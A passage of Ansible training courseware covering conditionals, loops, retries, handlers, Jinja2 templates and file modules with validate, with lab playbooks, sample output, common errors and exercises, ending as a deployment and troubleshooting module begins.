ansible.builtin.apt: { name: nginx, state: present }
when: ansible_facts['os_family'] == "Debian"
- name: List form = AND
ansible.builtin.debug: { msg: "app node on Ubuntu 24.04" }
when:
- ansible_facts['distribution'] == "Ubuntu"
- ansible_facts['distribution_version'] is version('24.04', '>=')
- "'app' in group_names"
- name: Based on the result of the previous task
ansible.builtin.command: systemctl reload nginx
when: nginx_conf is changed
- Condition results must be booleans.
when: my_list,when: some_stringtruthy checks like this now raise errors:Conditional result was '…' of type 'str', which evaluates to True. Conditionals must have a boolean result.Change to an explicit comparison:my_list | length > 0,some_string | length > 0,flag | bool. - Do not embed templates in conditions:
when: "{{ x }} == 1"reportsTemplate delimiters are not supported in expressions, writewhen: x == 1directly. - Undefined attributes raise an error instead of silently being false:
when: result.exists(for a stat result) must be written asresult.stat.exists. - Expressions beginning with a quote must be quoted as a whole:
when: "'app' in group_names". - For temporary compatibility with legacy playbooks you can set
ALLOW_BROKEN_CONDITIONALS(downgrades errors to warnings); use this only as a transition.
What: loop
- name: Create several users
ansible.builtin.user:
name: "{{ item.name }}"
groups: "{{ item.groups }}"
append: true
loop:
- { name: alice, groups: sudo }
- { name: bob, groups: adm }
loop_control:
label: "{{ item.name }}" # shows only the user name in the output, not the whole dict
- name: Loop over a dict
ansible.builtin.debug:
msg: "{{ item.key }} = {{ item.value }}"
loop: "{{ sysctl_settings | dict2items }}"
- The loop variable defaults to
item; in nested includes, rename it withloop_control.loop_varto avoid conflicts;index_varprovides the index;pausepauses between iterations. - For a loop task
register, the result is in theresult.resultslist; each element containsitemand that iteration's return value. with_items,with_dictand similar legacy syntax still work; new code should preferloopwith filters (dict2items,subelements,product…).- Performance tip: package management modules can accept a list directly
name: [nginx, redis-server, python3-venv], done in one transaction, which is much faster than installing one at a time with loop.
What: until retry
- name: Wait for the index page to return 200
ansible.builtin.uri:
url: http://localhost/
status_code: 200
register: page
until: page.status == 200
retries: 10 # up to 10 retries
delay: 3 # 3 seconds between attempts
The task runs repeatedly until the condition is true or the retries run out (and then fails). If you only want to wait for a port to open, a simpler choice is ansible.builtin.wait_for: port=80 timeout=30.
What: handlers
A handler is a special task; it runs only when notified by a task whose result is changed. Typical use: reload or restart a service only when a config file changed.
- When it runs: by default at the end of the current play's task section (
pre_tasks,roles/tasks,post_tasks; refreshed at the end of each section). - Runs only once: if the same handler is notified several times, it still runs only once.
- In definition order: execution order is set by the order written in the
handlers:section, not by the order of notification. - Run immediately:
- ansible.builtin.meta: flush_handlersruns already-queued handlers right away (e.g. when later tasks depend on the service having restarted). - On failure: if a task fails on a host, that host's queued handlers by default are not run— which can leave “config changed, service not reloaded”. Use
--force-handlersor play-levelforce_handlers: trueto force them to run. - listen: multiple handlers can listen to the same topic via
notify: "web config changed", so one notification triggers several.
When: typical combinations
- Branch by distribution:
when: ansible_facts['os_family'] == 'RedHat'chooses dnf, Debian chooses apt (or usepackagewith variable-based package names). - First
stat, then decide: initialize only if the file does not exist. - Config → handler reload →
flush_handlers→untilhealth check → next batch (lesson 6's rolling release is this pattern plusserial).
Comparison with similar technologies
| Ansible | Terraform | Puppet | |
|---|---|---|---|
| Conditional | when | count = var.x ? 1 : 0 | if/case |
| Loop | loop | for_each/count | Iteration function each |
| Change trigger | notify → handler | replace_triggered_by,triggers | notify/subscribe → refresh |
flush_handlers. ② “Handlers run in notify order” — they run in the definition order of the handlers section. ③ “An ok task also triggers handlers” — only changed tasks notify. ④ “A loop's registered result is just that one result” — it is a results list. ⑤ “when: var checks whether a variable exists” — it should be written var is defined; in 2.19+ non-boolean values raise errors directly.Sequence diagram: when handlers run
Flowchart: evaluation order of when / loop / until in one task
Handler queue simulator
The play contains 5 tasks and 2 handlers (definition order: restart myapp,reload nginx). Choose which tasks report changed, whether to insert flush_handlers, whether T5 fails, and whether --force-handlers is used, then step through.
Core syntax quick reference
| Syntax | Purpose | Notes |
|---|---|---|
when: x is defined / is not defined | Check whether a variable is defined | (compared with when: x ) is safer |
when: result is changed / failed / succeeded / skipped | Decide based on the registered result | Test syntax |
when: flag | bool | Converts strings such as "yes" / "true" / "1" to booleans | Since 2.19, bool returns only True/False; unrecognized values produce a deprecation warning |
when: items | length > 0 | list is non-empty | instead of when: items |
loop: "{{ d | dict2items }}" | Loop over a dict | item.key / item.value |
loop_control: { label: …, loop_var: …, index_var: i } | Control output and variable names | — |
until: … retries: N delay: S | Retry | requires register |
notify: reload nginx + handlers: | Change trigger | name must match exactly |
- ansible.builtin.meta: flush_handlers | Run queued handlers immediately | — |
ansible-playbook … --force-handlers | Run notified handlers even on failure | can also be set at play level force_handlers: true |
cd ~/ansible-lab ansible-playbook web.yml --list-tasks ansible-playbook web.yml -v --limit node1 | grep -E "RUNNING HANDLER|changed:|skipping:"
changed: [node1] => (item=alice) changed: [node1] => (item=bob) skipping: [node1] changed: [node1] RUNNING HANDLER [reload nginx] ************************************************* changed: [node1]
How to verify: Output when the handler runs RUNNING HANDLER [name]. Common errors: The notify name does not match the handler's name (case or spaces differ), and it reports The requested handler 'Reload Nginx' was not found. Production use: Push configuration reloads only when content changes, avoiding needless restarts.
Lab 6: multi-user, conditionals, retries and “reload only when config changed” (about 7 minutes)
---
- name: Conditionals, loops and handler exercise
hosts: lab
become: true
vars:
lab_users:
- { name: alice, groups: sudo, state: present }
- { name: bob, groups: adm, state: present }
- { name: carol, groups: adm, state: absent }
status_port: 8081
tasks:
- name: Manage lab users
ansible.builtin.user:
name: "{{ item.name }}"
groups: "{{ item.groups }}"
append: true
state: "{{ item.state }}"
remove: "{{ item.state == 'absent' }}"
loop: "{{ lab_users }}"
loop_control:
label: "{{ item.name }}={{ item.state }}"
- name: Publish the nginx status page config only on the lb group
ansible.builtin.copy:
dest: /etc/nginx/conf.d/status.conf
mode: "0644"
content: |
server {
listen {{ status_port }};
location /nginx_status {
stub_status;
allow 127.0.0.1;
deny all;
}
}
when: "'lb' in group_names"
notify: reload nginx
- name: Run handler immediately (later checks depend on the new config)
ansible.builtin.meta: flush_handlers
- name: Wait for the status page to be available (up to 10 times, every 2 seconds)
ansible.builtin.uri:
url: "http://127.0.0.1:{{ status_port }}/nginx_status"
return_content: true
register: status_page
until: status_page.status == 200
retries: 10
delay: 2
when: "'lb' in group_names"
- name: Print active connection count
ansible.builtin.debug:
msg: "{{ status_page.content | regex_search('Active connections: \\d+') }}"
when: status_page is succeeded and status_page is not skipped
handlers:
- name: reload nginx
ansible.builtin.service:
name: nginx
state: reloaded
Note remove: "{{ item.state == 'absent' }}" yields a boolean (native type in 2.19+); the when in is succeeded and … is not skipped is a boolean expression. meta tasks do not support most keywords other than when , and none are needed here.
cd ~/ansible-lab ansible-playbook web.yml
TASK [Manage lab users] ***************************************************************
changed: [node1] => (item=alice=present)
changed: [node1] => (item=bob=present)
ok: [node1] => (item=carol=absent)
…
TASK [Publish the nginx status page config only on the lb group] *******************************************
skipping: [node2]
skipping: [node3]
changed: [node1]
RUNNING HANDLER [reload nginx] *************************************************
changed: [node1]
TASK [Wait for the status page to be available (up to 10 times, every 2 seconds)] *****************************************
skipping: [node2]
skipping: [node3]
ok: [node1]
TASK [Print active connection count] **************************************************************
ok: [node1] => {
"msg": "Active connections: 1"
}
skipping: [node2]
skipping: [node3]
PLAY RECAP *********************************************************************
node1 : ok=6 changed=3 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0
node2 : ok=2 changed=1 unreachable=0 failed=0 skipped=3 rescued=0 ignored=0
node3 : ok=2 changed=1 unreachable=0 failed=0 skipped=3 rescued=0 ignored=0ansible-playbook web.yml | grep -E "RUNNING HANDLER|node[123] +:"
node1 : ok=5 changed=0 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0 node2 : ok=2 changed=0 unreachable=0 failed=0 skipped=3 rescued=0 ignored=0 node3 : ok=2 changed=0 unreachable=0 failed=0 skipped=3 rescued=0 ignored=0
No RUNNING HANDLER lines — the config did not change, so nginx was not disturbed.
---
- name: Demonstrate a handler being discarded
hosts: lb
become: true
tasks:
- name: Change the status page port
ansible.builtin.lineinfile:
path: /etc/nginx/conf.d/status.conf
regexp: '^\s*listen '
line: " listen {{ new_port }};"
notify: reload nginx
- name: Simulate a later failing task
ansible.builtin.command: /bin/false
handlers:
- name: reload nginx
ansible.builtin.service:
name: nginx
state: reloaded
ansible-playbook handler-fail.yml -e '{"new_port": 8082}'
curl -s -o /dev/null -w "%{http_code}\n" --max-time 2 http://172.30.0.11:8082/nginx_status
ansible-playbook handler-fail.yml -e '{"new_port": 8082}' | grep -E "changed|RUNNING HANDLER"
TASK [Change the status page port] **************************************************************
changed: [node1]
TASK [Simulate a later failing task] ********************************************************
fatal: [node1]: FAILED! => {"changed": true, "cmd": ["/bin/false"], … "rc": 1 …}
NO MORE HOSTS LEFT *************************************************************
000
(Second run: the config task is already ok, with no notification and no RUNNING HANDLER)
The file is already 8082, but nginx still listens on 8081 —config changed, service not reloaded, and re-running will not trigger the handler again. Note that --force-handlers only works for handlers notified in this run:
ansible-playbook handler-fail.yml -e '{"new_port": 8083}' --force-handlers
ansible node1 -m uri -a 'url=http://127.0.0.1:8083/nginx_status' | grep '"status"'
ansible-playbook handler-fail.yml -e '{"new_port": 8081}' --force-handlers # restore to 8081
RUNNING HANDLER [reload nginx] *************************************************
changed: [node1]
"status": 200,
The status page only allows access from 127.0.0.1, so verify with the uri module running on node1.
ansible lab -b -m user -a 'name=alice state=absent remove=true' ansible lab -b -m user -a 'name=bob state=absent remove=true'
Case 1: the handler did not run after a config change, so production runs the old config
Problem: After pushing the nginx config, an unrelated later task failed. After fixing it and re-running, the config task showed ok, the handler no longer triggered, and nginx kept using the old config until the next restart made it take effect "suddenly". Approach: Set force_handlers: true on the key play; where there is a strong “config → reload” dependency, run flush_handlers right after the config task; add nginx -T at the end of the deployment to compare with the expected config. Limit: force_handlers cannot help when the host is unreachable.
Case 2: waiting for a dependent service to be ready
Problem: The application takes 20–60 seconds to start, and the smoke test right after it often fails. Approach:uri + until (retries: 30, delay: 2) check /healthz; for port-level dependencies use wait_for. Limit: The total retry time must be less than the CI timeout; print the last response on failure to aid troubleshooting.
Case 3: many "Conditionals must have a boolean result" errors after upgrading to core 2.19
Problem: Legacy playbooks contain when: enable_tls (the variable comes from -e enable_tls=yes, a string),when: users (a list), and similar forms. Approach: Change each one to enable_tls | bool, or users | length > 0; temporarily enable ALLOW_BROKEN_CONDITIONALS during the upgrade window, and use ansible-lint in CI to block new issues. Limit: Transitional switches should not be kept long term.
Common errors and fixes
Conditional result was 'alice' of type 'str', which evaluates to True. Conditionals must have a boolean result.
Cause: core 2.19+ requires conditions to yield booleans.
Fix: explicit comparison: name | length > 0,flag | bool,x is defined.
Syntax error in expression. Template delimiters are not supported in expressions: expected token ':', got '}'.
Cause:when: "{{ port }} == 80" a template was embedded in a condition.
Fix: write the expression directly, e.g.when: port | int == 80.
ERROR! The requested handler 'Reload nginx' was not found in either the main handlers list nor in the listening handlers list
Cause: the notify name does not match the handler's name (case or spaces), or the handler is defined in another play (handler scope is the play).
Fix: make the names exactly identical; for several handlers, use listen topic.
FAILED - RETRYING: [node1]: Wait for the status page to be available (10 retries left). … fatal: … "msg": "Status code was -1 and not [200]: Request failed: <urlopen error [Errno 111] Connection refused>"
Cause: the service is not listening on that port: the config did not take effect (the handler did not run), the config has a syntax error that makes reload fail, or the port is wrong.
ansible node1 -b -m command -a 'nginx -t' ansible node1 -b -m command -a 'ss -ltnp'
Fix: before the wait step, check the listening state; use the flush_handlers parameter of module 7's validate to prevent bad config.
'dict object' has no attribute 'status' (reading a field of a loop task's register result)
Cause: the registered result of a loop task is a list under {"results": [...]}.
Fix: use result.results | map(attribute='status') | list, or run another loop over result.results .
1. Run web.yml so that notified handlers still run even if a task fails, and only for the lb group.
ansible-playbook web.yml --force-handlers --limit lb
2. Write a task that waits up to 30 seconds for node1's port 80 to open (without until).
- name: Wait for port 80
ansible.builtin.wait_for:
host: 127.0.0.1
port: 80
timeout: 30In one play, T1 changes the nginx main config (notify: restart nginx), and T2 changes the site config (notify: reload nginx). The handlers section defines reload nginx first, then restart nginx. Both tasks report changed. What does each handler do? What is wrong with this design, and how would you improve it?
Each handler runs once, in the handlers section definition order: reload first, then restart. restart already includes the effect of reload, so the extra reload wastes time and causes a brief double operation. Improvement: notify a single handler (usually reload; restart only when really needed), or use listen: "nginx config changed" topic and keep only one handler that actually runs; before the handler, use nginx -t (or template's validate) to ensure the config is valid.
Verified teaching videos
Official docs
- Conditionals
- Loops (including until retries)
- Handlers: running operations on change
- Porting guide core 2.19 (conditional and template changes)
Video storyboard (about 90 seconds)
This courseware cannot generate video/MP3 directly. A storyboard and narration script are provided for a video tool.
Visual: three hosts; a when condition acts as a gate. Only the lb group's hosts pass, and the rest show skipping.
Narration: when is an expression without braces, evaluated separately for each host; the result must be true or false.
Visual: a user list is expanded by loop into three iterations; the output uses label to show only the user name.
Narration: loop makes one task run for each item in the list; package modules can accept a list directly.
Visual: two config tasks both queue reload nginx in the handler queue; after deduplication only one remains, and it runs at the end of the task section.
Narration: a handler is queued only when notified and the task changes; it runs once, in definition order, at the end of the task section.
Visual: a later task turns red and fails, and the queue is cleared; with force handlers, the queue runs as usual.
Narration: a task failure discards that host's handler queue; for critical flows, use force handlers or flush in time.
Module 7 · Jinja2 templates and file management
- Write Jinja2 templates: variables
{{ }}, control structures{% for %}/{% if %}, comments{# #}, whitespace control{%- -%}; deploy withtemplatemodule, and understand that it renders on the control node. - Use common filters fluently:
default,join,int/bool,upper,regex_replace,to_nice_yaml/to_json,selectattr/map,dict2items,comment. - Choose
template/copy/lineinfile/blockinfile/replace/fileaccording to the scenario. - Use the
validateparameter (visudo -cf %s,sshd -t -f %s) to validate before replacing a file, together withbackup: trueto ensure a rollback is possible.
What: the template module
ansible.builtin.template Reads a .j2 file on the control node (relative paths are looked up by default in the templates/ directory beside the playbook), renders it with the current host's variables, then compares checksums like copy and replaces the remote file when needed. So: templates can use inventory variables, facts and magic variables, but cannot see the contents of remote files.
{{ ansible_managed | comment }}
Host: {{ inventory_hostname }} ({{ ansible_facts['distribution'] }} {{ ansible_facts['distribution_version'] }})
Role: {{ motd_role | upper }} Environment: {{ env | default('unknown') }}
Group: {{ group_names | join(', ') }}
{% if 'app' in group_names %}
This host runs myapp, gunicorn workers = {{ gunicorn_workers | default(2) }}
{% endif %}
{# This is a comment; it will not appear in the output #}
Group members:
{% for h in groups['lab'] | sort %}
- {{ h }} ({{ hostvars[h]['ansible_host'] }}){{ ' ← me' if h == inventory_hostname else '' }}
{% endfor %}
{{ … }}output expression;{% … %}control structure;{# … #}comment.- Whitespace control: the template module enables
trim_blocks: trueby default (the first newline after a block tag is removed);{%-/-%}removes whitespace before or after tags. Be especially careful with indentation-sensitive configs such as YAML and INI. - ansible_managed: the default value is the string
Ansible managed, combined with thecommentfilter to generate a comment header that reminds others: “This file is managed by Ansible; manual edits will be overwritten”. - Changes in core 2.19+: native types mode is the only mode (template results keep their types, such as lists, integers and None); only strings from trusted sources (playbooks, roles, variable files, template files) are rendered as templates; any
{{ }}inside untrusted data such as module return values is not executed — this closes the “remote data injected into templates” risk.
Common filters
| Filter | Example | Result |
|---|---|---|
default | {{ port | default(8080) }}; default(omit) omit a module parameter | use a default when the variable is undefined |
join / sort / unique | {{ groups['app'] | sort | join(',') }} | node2,node3 |
int / float / bool / string | {{ '8' | int + 1 }} | 9 |
upper / lower / replace / trim | {{ 'app' | upper }} | APP |
regex_replace / regex_search | {{ 'node2' | regex_replace('\\D', '') }} | 2 |
to_nice_yaml / to_nice_json / from_json | {{ cfg | to_nice_yaml(indent=2) }} | structured output |
map / selectattr / rejectattr | {{ users | selectattr('state','eq','present') | map(attribute='name') | list }} | ['alice','bob'] |
dict2items / items2dict / combine | {{ defaults | combine(overrides) }} | merge dicts |
comment / quote / b64encode / password_hash | {{ dir | quote }} | comments, shell escaping, encoding, password hashing |
ternary | {{ is_prod | ternary('warn','debug') }} | choose one of two |
Choosing file management modules
| Module | Suited for | Notes |
|---|---|---|
copy | static files, small fixed content | not rendered {{ }} other than Jinja (variables in content are rendered) |
template | fully owns config files (recommended) | the whole file is determined by the template; manual changes will be overwritten |
lineinfile | modify / ensure a single line (a single parameter in a distribution-provided file) | must write regexp, otherwise repeated runs may append extra lines; not suited to multi-line content |
blockinfile | insert/update a marked multi-line block | use marker to distinguish multiple blocks; the block content is replaced as a whole |
replace | regex replace across all matches in a file | more “brute force” than lineinfile; use with care |
file | directories, permissions, owners, symlinks, deletion, touch | state: directory/file/link/absent/touch |
validate: keep bad config from being applied
template,copy,lineinfile,blockinfile,replace all support validate: first write the new content to a remote temp file and check it with the command you give (replacing %s with the temp file path); only replace the target file when the return code is 0; otherwise the task fails and the original file stays unchanged.
| File | validate |
|---|---|
| sudoers / sudoers.d | visudo -cf %s |
| sshd_config | /usr/sbin/sshd -t -f %s |
| nginx main config nginx.conf | nginx -t -c %s (only for the full main config; for conf.d snippets, run nginx -t) |
| JSON file | python3 -m json.tool %s |
When: selection principle
- If you can fully own the file, use template (readable, reviewable, idempotent); only use lineinfile or blockinfile when you can only change one spot.
- For any file where a mistake could lock you out or cost you root access (sshd, sudoers, PAM, firewall) —validate must be used, and keep a backup.
- Keep variables moderate: many if/else blocks in a template mean you should split the template or use data structures plus loops.
Comparison with similar technologies
| Ansible template | Terraform templatefile() | Puppet EPP/ERB | confd / consul-template | |
|---|---|---|---|---|
| Language | Jinja2 | HCL template | Puppet / Ruby | Go template |
| Render location | Control node | Locally (at plan time) | Puppet Server compiles the catalog | Target-machine agent, continuously listening |
| validation | validate | — | validate_cmd (file resource) | check_cmd |
slurp/command + register. ② “lineinfile is idempotent even without regexp” — it is only idempotent when the matching line is exactly the same; when the parameter value changes, it appends a new line instead of replacing the old one. ③ “validate checks the final file” — it checks the line temp file , so does not work for conf.d snippets (a snippet is not a complete config). ④ “In a template, nginx -t -c %s followed by a colon does not need quotes” — not needed in a template file (it is not YAML); it is needed for YAML values in a playbook. {{ var }} Diagramstemplate data flow
Comparison diagram: how lineinfile and blockinfile modify a file
On the left is
. After choosing a host, the right side shows the result the template module renders for that host (using this lesson's inventory variables and example facts). templates/motd.j2 Render for node1
Commands
Module
| Key parameters | Notes | , |
|---|---|---|
template | src,dest,owner,group,mode,backup,validate,trim_blocks,lstrip_blocks | src relative to templates/ |
lineinfile | path,regexp,line,insertafter,state,backrefs,create,validate | backrefs uses regex groups |
blockinfile | path,block,marker,insertafter,create,validate | marker: "# {mark} ANSIBLE MANAGED BLOCK lab" |
file | path,state,mode,owner,src (link),recurse | — |
quickly test expressions on the control node
cd ~/ansible-lab
ansible localhost -m debug -a "msg={{ groups['app'] | sort | join(',') }}"
ansible node3 -m debug -a "msg={{ 'gunicorn workers=' ~ (gunicorn_workers | default(2)) }}"
ansible localhost -m debug -a "msg={{ {'a':1,'b':2} | dict2items | map(attribute='key') | list }}"
ansible localhost -m debug -a "msg={{ 'node2' | regex_replace('\\D', '') | int + 10 }}"
localhost | SUCCESS => {
"msg": "node2,node3"
}
node3 | SUCCESS => {
"msg": "gunicorn workers=4"
}
localhost | SUCCESS => {
"msg": [
"a",
"b"
]
}
localhost | SUCCESS => {
"msg": 12
}
How to verify: The last command returns the integer 12 (not the string "12") — a native type in core 2.19+. Common errors: In ad-hoc, -a when wrapped in double quotes,$ and backslashes are processed by bash first. Production use: validate complex filter chains on localhost before writing them into a playbook.
Preview differences before rendering
ansible-playbook files.yml --check --diff --limit node2
Lab 7: motd template, sshd hardening, blockinfile and validate interception (about 8 minutes)
motd.j2 saved as ~/ansible-lab/templates/motd.j2, then create a deliberately broken sudoers template:
{{ ansible_managed | comment }}
# Allow the ops group to restart myapp and nginx
%ops ALL=(root) NOPASSWD: /usr/bin/systemctl restart myapp, /usr/bin/systemctl reload nginx
{% if break_sudoers | default(false) %}
%ops ALL=(root) NOPASSWD /usr/bin/systemctl # ← missing colon, syntax error
{% endif %}---
- name: Templates and file management
hosts: lab
become: true
tasks:
- name: Render motd
ansible.builtin.template:
src: motd.j2
dest: /etc/motd
owner: root
group: root
mode: "0644"
- name: Ensure the ops group exists
ansible.builtin.group:
name: ops
state: present
- name: Deploy sudoers snippet (protected by validate)
ansible.builtin.template:
src: sudoers-ops.j2
dest: /etc/sudoers.d/ops
mode: "0440"
validate: /usr/sbin/visudo -cf %s
- name: Limit sshd authentication attempts (lineinfile + validate)
ansible.builtin.lineinfile:
path: /etc/ssh/sshd_config
regexp: '^#?MaxAuthTries'
line: MaxAuthTries 3
backup: true
validate: /usr/sbin/sshd -t -f %s
notify: reload ssh
- name: Add some aliases to all users (blockinfile)
ansible.builtin.blockinfile:
path: /etc/bash.bashrc
marker: "# {mark} ANSIBLE MANAGED BLOCK lab-aliases"
block: |
alias ll='ls -alF'
alias myapp-log='journalctl -u myapp -f'
- name: Application directory (file)
ansible.builtin.file:
path: /opt/myapp
state: directory
owner: root
group: root
mode: "0755"
when: "'app' in group_names"
handlers:
- name: reload ssh
ansible.builtin.service:
name: ssh
state: reloadedcd ~/ansible-lab ansible-playbook files.yml --check --diff --limit node2 | sed -n '/Render motd/,/changed/p' ansible-playbook files.yml ssh -i ~/.ssh/ansible_lab ansible@172.30.0.13 cat /etc/motd
TASK [Render motd] ***************************************************************** --- before +++ after: /home/azureuser/ansible-lab/templates/motd.j2 @@ -0,0 +1,10 @@ +# +# Ansible managed +# +Host: node2 (Ubuntu 24.04) … PLAY RECAP ********************************************************************* node1 : ok=7 changed=6 unreachable=0 failed=0 skipped=1 … node2 : ok=8 changed=7 unreachable=0 failed=0 skipped=0 … node3 : ok=8 changed=7 unreachable=0 failed=0 skipped=0 … # # Ansible managed # Host: node3 (Ubuntu 24.04) Role: APP Environment: lab Group: app, lab This host runs myapp, gunicorn workers = 4 Group members: - node1 (172.30.0.11) - node2 (172.30.0.12) - node3 (172.30.0.13) ← me
The changed count includes the reload ssh handler. comment The filter by default generates a three-line # comment box.
ansible-playbook files.yml --limit node2 -e '{"break_sudoers": true}'
ansible node2 -b -m command -a 'visudo -c'
TASK [Deploy sudoers snippet (protected by validate)] ******************************************
fatal: [node2]: FAILED! => {"changed": false, "checksum": "…", "exit_status": 1, "msg": "failed to validate", "stderr": "/home/ansible/.ansible/tmp/ansible-tmp-…/source:5:38: syntax error\n…", …}
…
node2 | CHANGED | rc=0 >>
/etc/sudoers: parsed OK
/etc/sudoers.d/README: parsed OK
/etc/sudoers.d/ansible: parsed OK
/etc/sudoers.d/ops: parsed OK
The bad file never replaces the live file, and sudo keeps working. Without validate, a syntactically broken sudoers.d file would make all of sudo stop working, and Ansible could no longer escalate privileges either — recovery only via the console.
ansible-playbook files.yml | grep -E "node[123] +:" ansible app -b -m shell -a 'ls /etc/ssh/sshd_config.*~ 2>/dev/null || ls /etc/ssh/ | grep sshd_config'
node1 : ok=7 changed=0 … node2 : ok=8 changed=0 … node3 : ok=8 changed=0 … node2 | CHANGED | rc=0 >> /etc/ssh/sshd_config.12345.2026-11-15@10:52:31~
ansible lab -b -m lineinfile -a "path=/etc/ssh/sshd_config regexp='^MaxAuthTries' state=absent".Case 1: one sudoers push leaves 2000 machines without sudo
Problem: A team used copy to push sudoers.d files; a colon was missing in the template. sudo refuses to work when it hits a syntax error, and Ansible itself cannot fix it with become. Approach: Force validate for all sudoers, sshd and PAM related tasks; check with custom ansible-lint rules; roll changes out to --limit canary hosts first. Limit: validate can only check syntax, not whether a rule locks you out of the system; the latter needs testing (Molecule, lesson 2).
Case 2: migrating from a lineinfile mess to template
Problem: nginx.conf was modified by 15 separate lineinfile tasks; order dependencies made the results hard to predict, and after upgrading nginx, changes to the default config caused conflicts. Approach: Manage the whole config with template, with parameters centralized in a dict in group_vars; use validate: nginx -t -c %s to validate the main config. Limit: You must accept that the file is entirely owned by Ansible and manual edits will be overwritten; state this with a ansible_managed comment in the file header.
Case 3: editing /etc/hosts in a container fails
Problem: In containers (and some Kubernetes scenarios), using lineinfile to change /etc/hosts reports Device or resource busy. Approach: These files are bind mounts, so Ansible's default “write a temp file then atomically rename” fails. You can set unsafe_writes: true to let the module write directly when the atomic replace fails, but the better fix is at the container orchestration layer (--add-host, Pod hostAliases). Limit: unsafe_writes loses atomicity; a failure midway through writing may leave a half-written file.
Common errors and fixes
AnsibleUndefinedVariable: 'dict object' has no attribute 'default_ipv4' (during template rendering)
Cause: the template references a facts key that does not exist (different network setup, facts not collected,gather_subset too small), or uses a cross-host hostvars[h]['ansible_facts'] but h did not collect facts in this run.
ansible node2 -m setup -a 'filter=ansible_default_ipv4'
Fix: use default() as a fallback; for cross-host use the inventory variable ansible_host instead; make sure facts are collected.
"msg": "failed to validate" … "stderr": "…: syntax error"
Cause: the validate command returned non-zero, so the new content has a syntax error. This is validate protecting you.
Fix: read the line number in stderr; check locally by rendering on the control node: ansible node2 -m template -a 'src=templates/x.j2 dest=/tmp/x' --check --diff.
"msg": "validate must contain %s: /usr/sbin/visudo -cf"
Cause: the validate command is missing the %s placeholder.
Fix: add it to the validate command, e.g.validate: /usr/sbin/visudo -cf %s.
lineinfile appends a line to the end of the file on every run
Cause: no regexp was set (or regexp cannot match the modified line), while the line content keeps changing.
Fix: make regexp match both commented and uncommented forms, e.g. '^#?\s*MaxAuthTries\s'; use --diff to observe.
template error while templating string: unexpected '}' … / expected token 'end of print statement', got 'string'
Cause: Jinja2 syntax error: unmatched brackets, filter arguments missing quotes, or embedding {{ }} inside {{ }}.
Fix: inside expressions, write variable names directly ({{ prefix ~ name }}); test complex expressions first in ansible localhost -m debug . When the config file itself contains {{ (as in some Go templates), wrap it with {% raw %}…{% endraw %} .
1. Write a task that renders templates/app.ini.j2 to /etc/myapp/app.ini, with permissions 0640, keeps a backup, and notifies restart myapp on change.
- name: Render app.ini
ansible.builtin.template:
src: app.ini.j2
dest: /etc/myapp/app.ini
mode: "0640"
backup: true
notify: restart myapp2. With ad-hoc on localhost, sort groups['lab'] and join the names with semicolons.
ansible localhost -m debug -a "msg={{ groups['lab'] | sort | join(';') }}"You need to disable password login in the /etc/ssh/sshd_config of 200 servers; the contents differ across these servers (different teams have changed them). Would you use template or lineinfile? How do you make sure no one gets locked out?
When the contents differ and the file cannot be fully owned, use lineinfile (regexp: '^#?\s*PasswordAuthentication',line: PasswordAuthentication no), or better, write it to /etc/ssh/sshd_config.d/ a separate snippet (Ubuntu 24.04's main config includes this directory by default), managed with template. Safety measures: validate: /usr/sbin/sshd -t -f %s; backup: true; confirm all login accounts have working keys first; use a handler to reload (existing sessions are not affected); first run --limit on a few hosts, and confirm new sessions can log in before running serial in batches on all hosts.
Verified teaching videos
Official docs
- Templating (Jinja2)
- Using filters to manipulate data
- template module · lineinfile · blockinfile
- Jinja2 Template Designer Documentation
Video storyboard (about 90 seconds)
This courseware cannot generate video/MP3 directly. A storyboard and narration script are provided for a video tool.
Visual: one motd.j2 template splits into three copies, each carrying the host name and role of node1, node2 and node3.
Narration: the same template is rendered on the control node with each host's own variables, producing different config files.
Visual: filters act like stations on a production line: join, upper and default process the data in turn.
Narration: filters shape data into the form you need: set defaults, join lists, and convert case and type.
Visual: a bad sudoers file enters a visudo check gate and is stopped by a red light; the live file stays green.
Narration: validate checks the temp file first and replaces only if it passes. Files like sudoers and sshd must always be validated.
Visual: lineinfile replaces one line; blockinfile wraps a section with markers.
Narration: fully owned files use templates; when only one spot must change, use lineinfile for a line and blockinfile for a section.
Module 8 · Deploying myapp and troubleshooting basics
- Use one
site.ymlwith multiple plays to deploy a three-tier application in dependency order: the data tier first (Redis), then the app tier (venv + systemd), and finally the entry tier (nginx upstream). - Apply all the knowledge from this lesson: inventory grouping, group_vars, facts/hostvars, loop, template, handler, flush_handlers, until health checks, validate.
- Master the basic troubleshooting method: first identify which category of error it is (connection / permission / interpreter / syntax / variable / module / application), then narrow down layer by layer with
-vvvv,--syntax-check,--start-at-task,debug.
What: target architecture
| Tier | Host (group) | Component | Key Ansible modules |
|---|---|---|---|
| Data tier | node1 (cache) | redis-server, listening on 0.0.0.0:6379 (lab network only) | apt, lineinfile + handler |
| App tier | node2, node3 (app) | Flask app under /opt/myapp + Python venv + gunicorn, managed by a systemd unit myapp.service , listening on 5000 | user, copy, pip (virtualenv), template, systemd_service |
| Entry tier | node1 (lb) | nginx upstream round-robin across node2 / node3,/healthz pass-through | template (loop generates the upstream), file, command (nginx -t) |
Why: why not run myapp in a container?
The Docker course packages the app as an image, but in reality many systems still run on VMs or bare metal (compliance, legacy systems, direct hardware access or kernel tuning). The key points of native deployment cover all the content in this lesson: system users, directory permissions, Python virtual environments (Ubuntu 24.04's PEP 668 forbids installing into the system Python pip install), systemd units, and reverse proxies. Understanding these also shows what the Dockerfile instructions in an image do for you.
How: structure of site.yml
- play 1 “collect facts from all hosts” (
hosts: lab): later plays reference other hosts' information through hostvars. - play 2 “Redis” (
hosts: cache): install packages → change bind/protected-mode (lineinfile, notify restart redis) → start →wait_for6379. - play 3 “myapp” (
hosts: app): install python3-venv → create a system user → copy code → pip install dependencies into the venv → render the systemd unit → start →flush_handlers→uri+untilcheck/healthz. - play 4 “nginx load balancing” (
hosts: lb): render the upstream (loop overgroups['app']) → remove the default site →nginx -t→ handler reload. - play 5 “end-to-end verification” (
hosts: localhost): send 6 requests to the entry point, confirm responses come from both backends and the counter increases.
Redis address is not hardcoded: redis_host: "{{ hostvars[groups['cache'][0]]['ansible_host'] }}"— if the cache group moves to another machine, only the inventory changes.
Troubleshooting methodology (basic version)
| Category | Typical error keywords | First step |
|---|---|---|
| Connection | UNREACHABLE!,Connection refused,Permission denied (publickey),Host key verification failed | ssh -vvv -i KEY user@host,ansible host -m ping -vvvv |
| permissions | Missing sudo password,Permission denied,Failed to lock apt | checks become, sudoers,-K |
